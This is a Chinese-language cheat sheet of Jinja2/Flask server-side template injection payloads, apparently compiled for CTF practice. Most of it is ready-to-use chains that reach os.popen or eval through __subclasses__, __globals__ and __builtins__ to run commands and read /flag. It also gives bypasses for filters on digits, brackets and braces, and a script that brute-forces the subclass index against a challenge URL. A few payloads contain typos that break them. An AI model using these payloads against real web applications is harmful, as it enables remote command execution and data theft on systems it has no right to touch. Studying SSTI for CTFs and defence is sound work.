写在开头可能会用到的提示
方法总结
- [].__class__.__bases__[0].__subclasses__()[找到__os._wrap_close下标].__init__.__globals__['popen']('whoami').read()
//基本解 - lipsum.__globals__.get('os').popen('whoami').read()
//姿势+1 - {%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('whoami').read()%}{%endif%}{%endfor%}
//任意命令执行 - {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
//任意命令执行 - {{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
//任意命令执行 - {{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
// 仅读文件 - s.__init__.__globals__['__builtins__'].eval('__import__("os").popen("whoami").read()')
//无数字 - s.__init__.__globals__.__getitem__('__builtins__').eval('__import__("os").popen("whoami").read()')
//无中括号
- s.__init__.__globals__[request.args.p1].eval(request.args.p2)&p1=__builtins__&p2=__import__('os').popen('whoami').read()
//把参数给逃逸出去 - s.__init__.__globals__[request.args.k1].eval(request.args.k2),然后cookie传值k1: builtins k2:__import__('os').popen('id').read()
//把参数逃逸到cookie - s.__init__.__globals__['xxx'] ←相等→ s.__init__.__globals__.__getitem__('xxxx')
-
().__class__代替的方法
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__") - {{}}使用不了可以用 {% print() %}代替
- request.value.a 可以用get或者post传参a
- request.cookies.a 可以用cookie传参a
- request.args.a 可以用get传参a
原理文章
https://blog.csdn.net/qq_38154820/article/details/111399386
https://xz.aliyun.com/t/3679
https://blog.csdn.net/miuzzx/article/details/110220425
自己记录
常用
{% %} //表示声明变量,可以用于循环和条件语句
{{ }} //用于表达式打印到模板输出
{# #} //表示注释
## //与{% %} 效果相同
__class__
//用于返回对象所属的类
__base__
//以字符串的形式返回一个类所继承的类
__bases__
//以元组的形式返回一个类所继承的类
__mro__
//返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类
__subclasses__()
//获取类的所有子类
__init__
//所有自带带类都包含init方法,常用他当跳板来调用globals
__globals__
//会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用+
过程例子
[].__class__.__bases__[0].__subclasses__()
//获取全局的模块,然后要找到 os._wrap_close 模块
import requests
x = 0
for i in range(0, 500):
search = 'os.'
url = "http://af7fe69b-a500-4c0e-b126-dd56881a42a3.challenge.ctf.show/?name={{''.__class__.__bases__[0].__subclasses__()[%s]}}" % (
i)
html = requests.get(url)
if search in html.text:
print(i)
break
//使用这个脚本,找到__os._wrap_close,找到顺序下标,然后使用"".__class__.__bases[0]__.__subclasses()[下标]
[].__class__.__bases[0]__.__subclasses()[下标].__init__.__globals__['popen']('命令').read()
//执行命令
例子
().__class__.__bases__[0].__subclassess__()[xx].__init__.__globals__['popen']('whoami').read()
解读: 用__class__获取内置的所有类,使用__bases__[0]拿到基类,然后用__subclasses__()[128]拿到popen方法,然后调用__init__方法进行初始化类,然后用__globals__获取到方法内以字典的形式返回的方法、属性等值,然后使用popen方法来执行命令